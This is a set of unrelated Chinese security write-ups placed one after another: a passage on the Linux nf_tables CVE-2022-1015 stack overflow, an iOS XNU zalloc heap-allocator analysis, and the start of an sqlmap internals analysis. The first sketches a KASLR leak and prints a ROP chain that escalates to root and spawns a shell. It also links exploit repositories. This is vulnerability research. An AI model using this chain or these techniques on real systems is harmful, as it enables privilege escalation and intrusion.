register 有两种索引方式。NFT_REG_1 到 NFT_REG_4 是一种，共 4 个 register，每个 16
字节；NFT_REG32_00 到 NFT_REG32_15 是另一种，共 16 个 reigster，每个 4
字节。在两种索引方式中，NFT_REG_VERDICT 都指向 verdict register，大小为 16
字节。两种索引方式针对的都是同一片内存，因此内存总数都是 16 + 4 _16 = 16 + 16_ 4 = 80 字节。
verdict register 在内存上位于最前，每条 rule 执行完后都会设置好 verdict
register，以决定下一步该怎么执行。verdict register 可以设置成以下值：
verdict | 作用
---|---
NFT_CONTINUE | 默认 verdict，继续执行下一个 expression。
NFT_BREAK | 跳过该 rule 剩下的 expression，继续执行下一条 rule。
NF_DROP | 丢弃数据包，停止执行。
NF_ACCEPT | 接受数据包，停止执行。
NFT_GOTO | 跳转到另一条 chain，且不再返回。
NFT_JUMP | 跳转到另一条 chain，执行完该 chain 后，若 verdict 为 NFT_CONTINUE，则返回原本的 chain
继续执行。
**2.1.6 nft_do_chain**
nft_do_chain 实现了依次执行所有 base chain 中所有 rule 的所有 expression
的逻辑，以下是添加了许多说明性注释的该函数的代码：
unsigned int
nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
const struct nft_chain *chain = priv, *basechain = chain;
const struct nft_rule_dp *rule, *last_rule;
const struct net *net = nft_net(pkt);
const struct nft_expr *expr, *last;
struct nft_regs regs;
unsigned int stackptr = 0;
struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
bool genbit = READ_ONCE(net->nft.gencursor);
struct nft_rule_blob *blob;
struct nft_traceinfo info;
info.trace = false;
if (static_branch_unlikely(&nft_trace_enabled))
nft_trace_init(&info, pkt, ®s.verdict, basechain);
do_chain:
if (genbit)
blob = rcu_dereference(chain->blob_gen_1);
else
blob = rcu_dereference(chain->blob_gen_0);
rule = (struct nft_rule_dp *)blob->data;
/* 获取最后一条 rule 的位置，以确定循环的停止条件 */
last_rule = (void *)blob->data + blob->size;
next_rule: // 执行到一条新的 chain，或返回到原来的 chain，都从这里开始
regs.verdict.code = NFT_CONTINUE; // the default verdict code = NFT_CONTINUE
for (; rule < last_rule; rule = nft_rule_next(rule)) { // iterate through the rules
/* iterate through the expressions */
nft_rule_dp_for_each_expr(expr, last, rule) {
// execute the expression
if (expr->ops == &nft_cmp_fast_ops)
nft_cmp_fast_eval(expr, ®s);
else if (expr->ops == &nft_cmp16_fast_ops)
nft_cmp16_fast_eval(expr, ®s);
else if (expr->ops == &nft_bitwise_fast_ops)
nft_bitwise_fast_eval(expr, ®s);
else if (expr->ops != &nft_payload_fast_ops ||
!nft_payload_fast_eval(expr, ®s, pkt))
expr_call_ops_eval(expr, ®s, pkt);
/* 如果 verdict 不是 NFT_CONTINUE， 停止执行该 rule 接下来的 expression */
if (regs.verdict.code != NFT_CONTINUE)
break;
}
// 已执行完一条 rule，检查 verdict，
// 如果不是 NFT_BREAK 或 NFT_CONTINUE，停止执行该 chain 剩下的 rule
switch (regs.verdict.code) {
case NFT_BREAK:
// 若为 NFT_BREAK，则将 verdict 设置回 NFT_CONTINUE。
// NFT_BREAK 和 NFT_CONTINUE 类似，都会执行下一条 rule，
// 只是 NFT_BREAK 会跳过当前 rule 剩下的 expression。
regs.verdict.code = NFT_CONTINUE;
nft_trace_copy_nftrace(pkt, &info);
continue;
case NFT_CONTINUE:
// 执行到这里代表执行完了当前 rule 的所有 expression，
// 继续执行下一条 rule 即可。
nft_trace_packet(pkt, &info, chain, rule,
NFT_TRACETYPE_RULE);
continue;
}
// 若 verdict 不是 NFT_BREAK 或 NFT_CONTINUE，
// 代表即将跳过该 chain 剩下的 rule，停止该 chain 的执行。
break;
}
nft_trace_verdict(&info, chain, rule, ®s);
// 执行到这里代表执行完了某条 chain，
// 将根据 verdict 决定采取的行动
switch (regs.verdict.code & NF_VERDICT_MASK) {
case NF_ACCEPT:
case NF_DROP:
case NF_QUEUE:
case NF_STOLEN:
// 已经决定好对当前数据包的处理，退出函数即可。
return regs.verdict.code;
}
// 尚未决定好对数据包的处理，继续执行。
switch (regs.verdict.code) {
case NFT_JUMP:
// 跳转到另一条 chain，将返回时需要的信息保存到 jumpstack 上
// 返回后，执行的是当前 rule 的下一条 rule
if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))
return NF_DROP;
jumpstack[stackptr].chain = chain;
jumpstack[stackptr].rule = nft_rule_next(rule);
jumpstack[stackptr].last_rule = last_rule;
stackptr++;
fallthrough;
case NFT_GOTO:
// 跳转到另一条 chain，不再返回
chain = regs.verdict.chain;
goto do_chain;
case NFT_CONTINUE: // 执行下一条 chain
case NFT_RETURN: // 返回到上一次跳转前的 chain
break;
default:
WARN_ON_ONCE(1);
}
// ...
return nft_base_chain(basechain)->policy;
}
每执行完一个 expression、一条 rule 或 一条 chain 时，都会检查 verdict register。
执行完一个 expression 时，非 NFT_CONTINUE 的 verdict 会阻止该条 rule 剩下的 expression 的执行。
执行完一条 rule 时，非 NFT_BREAK 或 NFT_CONTINUE 的 verdict 会阻止该 chain 剩下的 rule 的执行。
执行完一条 chain 时，如果已经决定对数据包的处理，则停止执行。否则，根据 verdict 决定流程如何跳转。
**2.1.7 expression种类**
以下是常见的一些 expression 类型及其功能的简单描述：
类型 | 功能
---|---
nft_immediate_expr | 将一个常数保存进 register。
nft_payload | 从数据包提取数据保存进 register。
nft_payload_set | 将数据包的某部分数据设置成 register 中的数据。
nft_cmp_expr | 比较 register 中的数据和某个常数，根据结果决定是否修改执行流。
nft_bitwise | 对 register 中数据进行位操作，比如左移、亦或。
nft_range_expr | 和 nft_cmp_expr 类似，但比较的是更大范围的数据，可跨越多个 register。
### 2.2 netlink
和 nf_table 进行交互需要通过 netlink。netlink 是 Linux
系统中和内核通信的常用方式，特别是在网络模块中使用率很高，它的设计是为了克服 ioctl 的一些缺点。
和 netlink 通信需要利用 AF_NETLINK 族的 socket。所有需要使用 netlink 的内核模块都要实现一个
protocal，nf_tables 则是实现了 NETLINK_NETFILTER 这一 protocal。因此，为了和 nf_tables
通信，只需要创建以下 socket：
int fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER);
当创建相应的 netlink socket 时，netlink 还会自动加载相应的模块，只要 modprobe 和 .ko 文件存放在合适的位置。
创建 socket 之后，就可通过 sendmsg 向 socket 发送消息，通过 recvmsg 从 socket 接收消息，从而实现和
nf_tables 通信。
sendmsg 的消息格式是：
struct msghdr {
void *msg_name; /* Optional address */
socklen_t msg_namelen; /* Size of address */
struct iovec *msg_iov; /* Scatter/gather array */
size_t msg_iovlen; /* # elements in msg_iov */
void *msg_control; /* Ancillary data, see below */
size_t msg_controllen; /* Ancillary data buffer len */
int msg_flags; /* Flags (unused) */
};
消息的内容存放在 msg_iov 字段指向的 iovec 数组中。
发送 netlink 消息时，iovec 数组指向 struct nlmsghdr 结构：
struct nlmsghdr {
__u32 nlmsg_len; /* Length of message including header */
__u16 nlmsg_type; /* Message content */
__u16 nlmsg_flags; /* Additional flags */
__u32 nlmsg_seq; /* Sequence number */
__u32 nlmsg_pid; /* Sending process port ID */
};
struct nlmsghdr 之后通常紧跟特定 protocol 定义的协议头部，不同 protocal 的协议头部差异很大。
协议头部之后是多个属性，属性的头部是以下结构：
struct nlattr {
__u16 nla_len;
__u16 nla_type;
};
属性的实际内容则紧跟在头部之后。
## 三、漏洞成因
漏洞类型是整形溢出导致的栈溢出，同时存在于 nft_validate_register_store 及 nft_validate_register_load
两个函数，以下仅通过 nft_validate_register_load 进行解释，nft_validate_register_store
处的情况大同小异。
/* net/netfilter/nf_tables_api.c */
int nft_validate_register_load(enum nft_registers reg, unsigned int len)
{
// 这里检查是否在读取 verdict register， 这是不被允许的
if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE)
return -EINVAL;
if (len == 0) // len 不可以是 0
return -EINVAL;
// 由于 reg 的范围没有限制好，导致整形溢出
if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data))
return -ERANGE;
return 0;
}
由于 reg 的范围没有限制好，导致 reg * NFT_REG32_SIZE + len 整形溢出。
reg 的取值范围分析可以看 nft_validate_register_load 的调用处：
/* net/netfilter/nf_tables_api.c */
int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
{
u32 reg; // 4 byte register variable
int err;
reg = nft_parse_register(attr); // gets the register index from an attribute
err = nft_validate_register_load(reg, len); // calls the validating function
if (err < 0) // if the validating function didn't return an error everything is fine
return err;
*sreg = reg; // save the register index into sreg (a pointer that is provided as an argument)
// sreg = source register -> the register from which we read
return 0;
}
EXPORT_SYMBOL_GPL(nft_parse_register_load);
可以看到 reg 来自 netlink 属性 attr，通过 nft_parse_register 函数解析出来，再传递给
nft_validate_register_load 函数。
/* net/netfilter/nf_tables_api.c */
/**
* nft_parse_register - parse a register value from a netlink attribute
*
* @attr: netlink attribute
*
* Parse and translate a register value from a netlink attribute.
* Registers used to be 128 bit wide, these register numbers will be
* mapped to the corresponding 32 bit register numbers.
*/
static unsigned int nft_parse_register(const struct nlattr *attr)
{
unsigned int reg;
// from include/uapi/linux/netfilter/nf_tables.h
// NFT_REG_SIZE = 16 (16 bytes)
// NFT_REG32_SIZE = 4 (4 bytes)
reg = ntohl(nla_get_be32(attr));
switch (reg) {
case NFT_REG_VERDICT...NFT_REG_4:
return reg * NFT_REG_SIZE / NFT_REG32_SIZE;
default:
return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
}
}
在 nft_parse_register 中，明显没有对 reg 范围做任何限制，传入在 NFT_REG_VERDICT…NFT_REG_4
之外的值，函数最终都会返回 reg + NFT_REG_SIZE / NFT_REG32_SIZE – NFT_REG32_00，也就是 reg – 4。
最终，nft_parse_register_load 传回的 reg 会作为 index 用于访问 nft_do_chain 函数中的 nft_regs
局部变量，导致栈溢出。由于 nft_validate_register_store 及 nft_validate_register_load
两个函数都存在漏洞，因此可以同时越界读和写 nft_regs 之后的栈内存。
## 四、EXP思路
EXP 中存在大量的算术运算计算各种地址位移，所针对的是特定的漏洞及特定的内核映像，在此谈论这些意义不大，因此本文只谈通用的思路。想要更细致研究的话可以参考
EXP 仓库：
<https://github.com/pqlx/CVE-2022-1015>
<https://github.com/ysanatomic/CVE-2022-1015>
通常，由于 canary 的存在，memcpy 等函数引发的栈内存越界写会难以利用，因为 memcpy
的起始地址通常是某个局部变量，要覆写到返回地址则必定会覆写 canary。这个漏洞可以利用的原因就是越界读写的起始地址可以通过传入的 reg
值设定，因此可以越过 canary，从 canary 之后、返回地址之前的地址开始覆写。
### 4.1 泄露内核地址
首先通过动态调试寻找栈上的内核地址，再通过 nft_bitwise 这一 expression 越界读取该范围的内存，保存进 nft_regs
的正常范围内存内，这样才能通过 nft_payload_set 将 nft_regs 正常范围内存的内容复制到数据包中，经由用户态的 socket
接收该数据包获取到内核地址，以绕过 KASLR 保护。
### 4.2 代码执行
通过 nft_payload 将通过数据包发送的 ROP 链复制到 nft_regs 的正常范围内存内，再通过 nft_bitwise
越界写以覆盖到返回地址。为了不覆写到 canary，起始地址必须限制在 canary 之后，返回地址之前。
ROP 链的构造如下：
int offset = 0;
// clearing interrupts
payload[offset++] = kbase + cli_ret;
// preparing credentials
payload[offset++] = kbase + pop_rdi_ret;
payload[offset++] = 0x0; // first argument of prepare_kernel_cred
payload[offset++] = kbase + prepare_kernel_cred;
// commiting credentials
payload[offset++] = kbase + mov_rdi_rax_ret;
payload[offset++] = kbase + commit_creds;
// switching namespaces
payload[offset++] = kbase + pop_rdi_ret;
payload[offset++] = process_id;
payload[offset++] = kbase + find_task_by_vpid;
payload[offset++] = kbase + mov_rdi_rax_ret;
payload[offset++] = kbase + pop_rsi_ret;
payload[offset++] = kbase + ini;
payload[offset++] = kbase + switch_task_namespaces;
// returning to userland
payload[offset++] = kbase + swapgs_restore_regs_and_return_to_usermode;
payload[offset++] = (unsigned long)spawnShell;
payload[offset++] = user_cs;
payload[offset++] = user_rflags;
payload[offset++] = user_sp;
payload[offset++] = user_ss;
先清空 interrupt 标志位，屏蔽可屏蔽中断，防止 ROP 被打断。
之后通过调用 prepare_kernel_cred(0) 准备权限为 root 的进程 cred。prepare_kernel_cred
是内核中专门用来准备进程 cred 的，进程 cred 代表了进程的各种权限。当对 prepare_kernel_cred 传入的参数为 0 时，返回的就是
root 权限的进程 cred。
再通过调用 switch_task_namespaces(find_task_by_vpid(process_id), &init_nsproxy) 将
EXP 进程的名称空间切换到 init_nsproxy。其中 process_id 为 EXP 进程的
pid，有许多办法可在用户态获取并保存下来，find_task_by_vpid 则会返回指定 pid 的 task_struct，init_nsproxy
为 init 进程也就是第一个进程的名称空间。由于使用 nf_tables 需要切换到新的 user + network
名称空间，所以这一步是必要的。当然，也可以在获得 root 权限后返回到用户态时再切换。
最后是返回到用户态，通过 swapgs; iret; 这一 gadget。需要在栈上依次准备好 IP、CS、EFLAGS、SP、SS
寄存器的内容，其中，IP 指向可弹出一个 shell 的函数，该函数通过调用 system(“/bin/sh”) 获得 shell。
### 4.3 离开 softirq 上下文
在漏洞发现者的 [EXP](https://github.com/pqlx/CVE-2022-1015) 中，在上一节的清空 interrupt
标志位操作后，还增加了一步离开 softirq 上下文的操作，这是因为在 EXP 作者的利用环境中，nft_do_chain 在
NET_RX_SOFTIRQ 类型 irqsoft 上下文中被调用。这一步不是必须的，但不执行这一步会让系统变得不稳定。
进入 softirq 的逻辑实现在 do_softirq 函数中：
/*
* Macro to invoke __do_softirq on the irq stack. This is only called from
* task context when bottom halves are about to be reenabled and soft
* interrupts are pending to be processed. The interrupt stack cannot be in
* use here.
*/
#define do_softirq_own_stack() \
{ \
__this_cpu_write(hardirq_stack_inuse, true); \
call_on_irqstack(__do_softirq, ASM_CALL_ARG0); \
__this_cpu_write(hardirq_stack_inuse, false); \
}
---
asmlinkage __visible void do_softirq(void)
{
__u32 pending;
unsigned long flags;
if (in_interrupt())
return;
local_irq_save(flags);
pending = local_softirq_pending();
if (pending && !ksoftirqd_running(pending))
do_softirq_own_stack();
local_irq_restore(flags);
}
asmlinkage __visible void __softirq_entry __do_softirq(void)
{
unsigned long end = jiffies + MAX_SOFTIRQ_TIME;
unsigned long old_flags = current->flags;
int max_restart = MAX_SOFTIRQ_RESTART;
struct softirq_action *h;
bool in_hardirq;
__u32 pending;
int softirq_bit;
/*
* Mask out PF_MEMALLOC as the current task context is borrowed for the
* softirq. A softirq handled, such as network RX, might set PF_MEMALLOC
* again if the socket is related to swapping.
*/
current->flags &= ~PF_MEMALLOC;
pending = local_softirq_pending();
softirq_handle_begin();
in_hardirq = lockdep_softirq_start();
account_softirq_enter(current);
restart:
/* Reset the pending bitmask before enabling irqs */
set_softirq_pending(0);
local_irq_enable();
h = softirq_vec;
while ((softirq_bit = ffs(pending))) {
unsigned int vec_nr;
int prev_count;
h += softirq_bit - 1;
vec_nr = h - softirq_vec;
prev_count = preempt_count();
kstat_incr_softirqs_this_cpu(vec_nr);
trace_softirq_entry(vec_nr);
h->action(h); // <---------- net_rx_action is called here
trace_softirq_exit(vec_nr);
if (unlikely(prev_count != preempt_count())) {
pr_err("huh, entered softirq %u %s %p with preempt_count %08x, exited with %08x?\n",
vec_nr, softirq_to_name[vec_nr], h->action,
prev_count, preempt_count());
preempt_count_set(prev_count);
}
h++;
pending >>= softirq_bit;
}
if (!IS_ENABLED(CONFIG_PREEMPT_RT) &&
__this_cpu_read(ksoftirqd) == current)
rcu_softirq_qs();
local_irq_disable();
pending = local_softirq_pending();
if (pending) {
if (time_before(jiffies, end) && !need_resched() &&
--max_restart)
goto restart;
wakeup_softirqd();
}
account_softirq_exit(current);
lockdep_softirq_end(in_hardirq);
softirq_handle_end();
current_restore_flags(old_flags, PF_MEMALLOC);
}
在 soft_irq 处理完毕后，通过 local_irq_disable() 关中断，再通过 softirq_handle_end() 调整
preempt_count，原来的系统调用栈在 do_softirq 函数中通过调用 do_softirq_own_stack 宏恢复，最后重新打开中断。
由于 softirq _handle_end() 被内联在 \_ _do _softirq()
中，在此[EXP](https://github.com/pqlx/CVE-2022-1015) 中，作者仅通过 ROP 将控制流引导至
\__do_softirq() 调用 softirq_handle_end() 处，调整了 preempt_count，并称可以无副作用地离开
softirq 的上下文，回到进程上下文。
## 参考
[How The Tables Have Turned: An analysis of two new Linux vulnerabilities in
nf_tables](https://blog.dbouman.nl/2022/04/02/How-The-Tables-Have-Turned-CVE-2022-1015-1016/)
[CVE-2022-1015: A validation flaw in Netfilter leading to Local Privilege
Escalation](https://ysanatomic.github.io/cve-2022-1015/)
[Dissecting the Linux Firewall: Introduction to Netfilter’s
nf_tables](https://ysanatomic.github.io/netfilter_nf_tables/)
[A Deep Dive into Iptables and Netfilter
Architecture](https://www.digitalocean.com/community/tutorials/a-deep-dive-into-iptables-and-netfilter-architecture)
[Connection Tracking (conntrack): Design and Implementation Inside Linux
Kernel](https://arthurchiao.art/blog/conntrack-design-and-implementation/)
[Introduction to Netlink — The Linux Kernel
documentation](https://www.kernel.org/doc/html/latest/userspace-api/netlink/intro.html)
[netlink(7) – Linux manual page](https://man7.org/linux/man-pages/man7/netlink.7.html)
[Portal:DeveloperDocs/nftables internals – nftables
wiki](https://wiki.nftables.org/wiki-nftables/index.php/Portal:DeveloperDocs/nftables_internals) | 社区文章 |
**作者：wzt
原文链接：<https://mp.weixin.qq.com/s/iv55u9VC7R1rZmhbfTMcRA>**
这篇文章主要是讨论ios内核堆的分配特性，辟谣下：zalloc内存分配器并没有在释放内存时将object随机的插入到freelist链表里。xnu内核没有单独设计这个特性，这个只是zalloc架构特性导致的，无意中让风水的布局变困难了些。笔者分析过windows、linux、bsd这些os的内存分配器都没有发现释放随机化的安全特性，
因为只有保持内存分配器fifo的特性，才能加快分配速度，任何一个内存分配器的设计值都不会违背这个原则。
下面将仔细探讨下xnu的zalloc特性， 在xnu-4903内核中，一个zone有四条队列：
struct zone {
struct {
queue_head_t any_free_foreign;
queue_head_t all_free;
queue_head_t intermediate;
queue_head_t all_used;
} pages;
}
半满外围队列any_free_foreign，全空队列all_free，半满半空队列intermediate，全满队列all_used。我们先讨论下zcache关闭的情况下，在try_alloc_from_zone分配一个object内存时有如下调用：
static inline vm_offset_t
try_alloc_from_zone(zone_t zone,
vm_tag_t tag __unused,
boolean_t* check_poison)
{
if (zone->allows_foreign && !queue_empty(&zone->pages.any_free_foreign))
page_meta = (struct zone_page_metadata *)queue_first(&zone->pages.any_free_foreign);
else if (!queue_empty(&zone->pages.intermediate))
page_meta = (struct zone_page_metadata *)queue_first(&zone->pages.intermediate);
else if (!queue_empty(&zone->pages.all_free)) {
page_meta = (struct zone_page_metadata *)queue_first(&zone->pages.all_free);
assert(zone->count_all_free_pages >= page_meta->page_count);
zone->count_all_free_pages -= page_meta->page_count;
} else {
return 0;
}
}
如果zone开启了allows_foreign并且any_free_foreign队列不为空，则从此队列取出队列头节点page_meta，从这个meta里分配内存，如果条件不符合，那么依次从intermediate半满半空队列里取meta，如果还是不符合，那么在从all_free队列里选meta。一个zone是否支持allows_foreign，是通过调用zone_change函数设置的，笔者搜索了整个xnu源码文件，发现只有vm自身的几个zone才会使用此标志，因此jailbreaker关心的zone，比如ipc_port都没有使用，这将简化exploit程序对堆风水布局的处理。当选取完meta后，通过page_metadata_get_freelist获取了meta上的第一个空闲节点，然后要通过page_metadata_set_freelist重新设置新的空闲节点，满足下次的分配需求。最后还要重新布局下当前meta所在的队列。try_alloc_from_zone函数最后有如下代码：
static inline vm_offset_t
try_alloc_from_zone(zone_t zone,
vm_tag_t tag __unused,
boolean_t* check_poison)
{
if (page_meta->free_count == 0) {[1]
re_queue_tail(&zone->pages.all_used, &(page_meta->pages));
} else {
if (!zone->allows_foreign || from_zone_map(element, zone->elem_size)) {
if (get_metadata_alloc_count(page_meta) == page_meta->free_count + 1) {[2]
re_queue_tail(&zone->pages.intermediate, &(page_meta->pages));
}
}
}
}
[1] 当这个meta在分配完一个空闲节点后，
如果free_count为0，说明meta已经没有空闲的节点了，那么就要将这个meta节点转移到all_used队列。
[2]处的判断meta是否为一个全空的队列，当它分配一个空闲节点后，就变成半满的状态了，因此需要转移到半满队列intermediate。转移队列的操作函数为re_queue_tail：
re_queue_tail(queue_t que, queue_entry_t elt)
{
queue_entry_t n_elt, p_elt;
/* remqueue */
n_elt = elt->next;[1]
p_elt = elt->prev;
n_elt->prev = p_elt;
p_elt->next = n_elt;
/* enqueue_tail */
p_elt = que->prev;[2]
elt->next = que;
elt->prev = p_elt;
p_elt->next = elt;
que->prev = elt;
}
[1]
处先从当前队列删除自身，然后[2]处将其挂载到新队列的末尾。注意这个操作是挂接到队尾，那么当出现一些极端状况发生队列转移时，如果新的队列节点不为空，就要等待前面所有的节点都被用完或发生队列迁移时，这个节点才会被调用到，这就发生了不是fifo的情况，对于jailbreaker的风水布局就会产生影响，这个状态被一些人误以为是ios提供了新的安全特性，在释放时”随机”的将object插入到freelist链表中。
然后有个很有意思的事情发生了，
在最新的xnu-7195.81.3内核中，笔者发现meta队列转移的操作不是挂接到队列末尾，而是队列头部，将队列变成fifo的链表了！
__header_always_inline void
zone_meta_queue_push(zone_t z, zone_pva_t *headp,
struct zone_page_metadata *meta, zone_addr_kind_t kind)
{
zone_pva_t head = *headp;
zone_pva_t queue_pva = zone_queue_encode(headp); [1]
struct zone_page_metadata *tmp;
meta->zm_page_next = head; [2]
if (!zone_pva_is_null(head)) {
tmp = zone_pva_to_meta(head, kind);
if (!zone_pva_is_equal(tmp->zm_page_prev, queue_pva)) { [3]
zone_page_metadata_list_corruption(z, meta);
}
tmp->zm_page_prev = zone_pva_from_meta(meta, kind); [4]
}
meta->zm_page_prev = queue_pva; [5]
*headp = zone_pva_from_meta(meta, kind); [6]
}
新内核的struct zone_page_metadata结构多了两个成员：
struct zone_page_metadata {
zone_pva_t zm_page_next;
zone_pva_t zm_page_prev;
}
在zone中的队列头也使用zone_pva_t重新定义：
typedef struct zone_packed_virtual_address {
uint32_t packed_address;
} zone_pva_t
struct zone {
zone_pva_t pages_any_free_foreign;
zone_pva_t pages_all_used_foreign;
zone_pva_t pages_all_free;
zone_pva_t pages_intermediate;
zone_pva_t pages_all_used;
zone_pva_t pages_sequester;
}
从四条队列变为了六条队列，每个队列头的地址是被编码起来保存的，通过zone_pva_from_meta函数将一个meta进行转化编码为队列地址，其实就是meta地址在meta
base中的偏移。每个meta结构通过双向链链表起来，如果meta是队列中的第一个节点，则它的zm_page_prev指向的是一个”特殊地址”,
这个地址通过zone_queue_encode进行编码，主要原理是把当前队列的地址转为为在zone_array中的索引进行保存。当以后队列节点不为空时，通过[3]处的比较可以确定当前队列的头节点是否被破坏了。如果meta不是队列中的第一个节点，则指向前一个带有正确编码的队列地址。[6]处的操作将meta节点挂载到了最队列的头部，所以这是一个fifo的队列。
在队列取节点时，也是从队列头取出，而不是队列末尾。
__header_always_inline struct zone_page_metadata *
zone_meta_queue_pop(zone_t z, zone_pva_t *headp, zone_addr_kind_t kind,
vm_offset_t *page_addrp)
{
zone_pva_t head = *headp;
struct zone_page_metadata *meta = zone_pva_to_meta(head, kind);
vm_offset_t page_addr = zone_pva_to_addr(head);
struct zone_page_metadata *tmp;
if (kind == ZONE_ADDR_NATIVE && !from_native_meta_map(meta)) {
zone_page_metadata_native_queue_corruption(z, headp);
}
if (kind == ZONE_ADDR_FOREIGN && from_zone_map(meta, sizeof(*meta))) {
zone_page_metadata_foreign_queue_corruption(z, headp);
}
if (!zone_pva_is_null(meta->zm_page_next)) {
tmp = zone_pva_to_meta(meta->zm_page_next, kind);
if (!zone_pva_is_equal(tmp->zm_page_prev, head)) {
zone_page_metadata_list_corruption(z, meta);
}
tmp->zm_page_prev = meta->zm_page_prev;
}
*headp = meta->zm_page_next;
*page_addrp = page_addr;
return meta;
}
那么在新内核里，对于布局堆的风水其实是更加便利了！
* * * | 社区文章 |
# sqlmap 内核分析 III: 核心逻辑
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者： [@v1ll4n](https://www.zhihu.com/people/af8bd4cc442c1349ed0f46baff19e3fd)
安全研发工程师，现就职于长亭科技，喜欢喵喵
本文的内容可能是大家最期待的部分，但是可能并不推荐大家直接阅读本篇文章，因为太多原理性和整体逻辑上的东西散见前两篇文章，直接阅读本文可能会有一些难以预料的困难。：）
## 0x00 前言
上一篇文章，我们介绍了页面相似度算法以及 sqlmap 对于页面相似的判定规则，同样也跟入了 sqlmap
的一些预处理核心函数。在接下来的部分中，我们会直接开始 sqlmap 的核心检测逻辑的分析，主要涉及到以下方面：
* heuristicCheckSqlInjection 启发式 SQL 注入检测（包括简单的 XSS FI 判断）
* checkSqlInjection SQL 注入检测
## 0x01 heuristicCheckSqlInjection
这个函数位于 controller.py 的 start() 函数中，同时我们在整体逻辑中也明确指明了这一个步骤：
这标红的两个步骤其实就是本篇文章主要需要分析的两个部分，涉及到 sqlmap 检测 sql 注入漏洞的核心逻辑。其中
heuristicCheckSqlInjection 是我们本节需要分析的问题。这个函数的执行位置如下：
再上图代码中，2标号为其位置。
### 启发式 sql 注入检测整体逻辑
通过分析其源代码，笔者先行整理出他的逻辑：
根据我们整理出的启发式检测流程图，我们做如下补充说明。
1. 进行启发式 sql 注入检测的前提条件是没有开启 nullConnection 并且页面并不是 heavilyDynamic。关于这两个属性，我们在第二篇文章中都有相关介绍，对于 nullConnection 指的是一种不需要知道他的具体内容就可以知道整个内容大小的请求方法；heavilyDynamic 指的是，在不改变任何参数的情况下，请求两次页面，两次页面的相似度低于 0.98。
2. 在实际的代码中，决定注入的结果报告的，主要在于两个标识位，分别为：casting 与 result。笔者在下方做代码批注和说明：
1. casting 这个标识位主要取决于两种情况：第一种在第一个请求就发现存在了特定的类型检查的迹象；第二种是在请求小数情况的时候，发现小数被强行转换为整数。通常对于这种问题，在不考虑 tamper 的情况下，一般很难检测出或者绕过。
2. result 这个标识位取决于：如果检测出 DBMS 错误，则会设置这个标识位为 True；如果出现了数据库执行数值运算，也置为 True。
### XSS 与 FI
实际上在启发式 sql 注入检测完毕之后，会执行其他的检测：
1. 检测 XSS 的方法其实就是检查 “<‘\”>”，是否出现在了结果中。作为扩展，我们可以在此检查是否随机字符串还在页面中，从而判断是否存在 XSS 的迹象。
2. 检测 FI（文件包含），就是检测结果中是否包含了 include/require 等报错信息，这些信息是通过特定正则表达式来匹配检测的。
## 0x02 checkSqlInjection
这个函数可以说是 sqlmap 中最核心的函数了。在这个函数中，处理了 Payload 的各种细节和测试用例的各种细节。
大致执行步骤分为如下几个大部分：
1. 根据已知参数类型筛选 boundary
2. 启发式检测数据库类型 heuristicCheckDbms
3. payload 预处理（UNION）
4. 过滤与排除不合适的测试用例
5. 对筛选出的边界进行遍历与 payload 整合
6. payload 渲染
7. 针对四种类型的注入分别进行 response 的响应和处理
8. 得出结果，返回结果
下图是笔者折叠无关代码之后剩余的最核心的循环和条件分支，我们发现他关于 injectable 的设置完全是通过 if method ==
PAYLOAD.METHOD.[COMPARISON/GREP/TIME/UNION] 这几个条件分支去处理的，同时这些条件显然是 sqlmap
针对不同的注入类型的 Payload 进行自己的结果处理逻辑饿和判断逻辑。
### 数据库类型检测 heuristicCheckDbms
我们在本大节刚开始的时候，就已经说明了第二步是确定数据库的类型，那么数据库类型来源于用户设定或者自动检测，当截止第二步之前还没有办法确定数据库类型的时候，就会自动启动
heuristicCheckDbms 这个函数，利用一些简单的测试来确定数据库类型。
其实这个步骤非常简单，核心原理是利用简单的布尔盲注构造一个 (SELECT “[RANDSTR]” [FROM_DUMMY_TABLE.get(dbms)]
)=”[RANDSTR1]” 和 (SELECT ‘[RANDSTR]’ [FROM_DUMMY_TABLE.get(dbms)]
)='[RANDSTR1]’ 这两个 Payload 的请求判断。其中
FROM_DUMMY_TABLE = {
DBMS.ORACLE: " FROM DUAL",
DBMS.ACCESS: " FROM MSysAccessObjects",
DBMS.FIREBIRD: " FROM RDB$DATABASE",
DBMS.MAXDB: " FROM VERSIONS",
DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL"
}
例如，检查是否是 ORACLE 的时候，就会生成
(SELECT 'abc' FROM DUAL)='abc'
(SELECT 'abc' FROM DUAL)='abcd'
这样的两个 Payload，如果确实存在正负关系（具体内容参见后续章节的布尔盲注检测），则表明数据库就是 ORACLE。
当然数据库类型检测并不是必须的，因为 sqlmap 实际工作中，如果没有指定 DBMS 则会按照当前测试 Payload 的对应的数据库类型去设置。
实际上在各种 Payload 的执行过程中，会包含着一些数据库的推断信息(<details>)，如果 Payload
成功执行，这些信息可以被顺利推断则数据库类型就可以推断出来。
### 测试数据模型与 Payload 介绍
在实际的代码中，checkSqlInjection
是一个接近七百行的函数。当然其行为也并不是仅仅通过我们上面列出的步骤就可以完全概括的，其中涉及到了很多关于 Payload
定义中字段的操作。显然，直到现在我们都并不是特别了解一个 Payload
中存在着什么样的定义，当然也不会懂得这些操作对于这些字段到底有什么具体的意义。所以我们没有办法在不了解真正 Payload 的时候开始之后的步骤。
因此在本节中，我们会详细介绍关于具体测试 Payload 的数据模型，并且基于这些模型和源码分析 sqlmap 实际的行为，和 sql 注入原理的细节知识。
·
### <test> 通用模型
关于通用模型其实在 sqlmap 中有非常详细的说明，位置在
xml/payloads/boolean_blind.xml中，我们把他们分隔开分别来讲解具体字段对应的代码的行为。
首先我们必须明白一个具体的 testcase 对应一个具体的 xml 元素是什么样子：
<test>
<title></title>
<stype></stype>
<level></level>
<risk></risk>
<clause></clause>
<where></where>
<vector></vector>
<request>
<payload></payload>
<comment></comment>
<char></char>
<columns></columns>
</request>
<response>
<comparison></comparison>
<grep></grep>
<time></time>
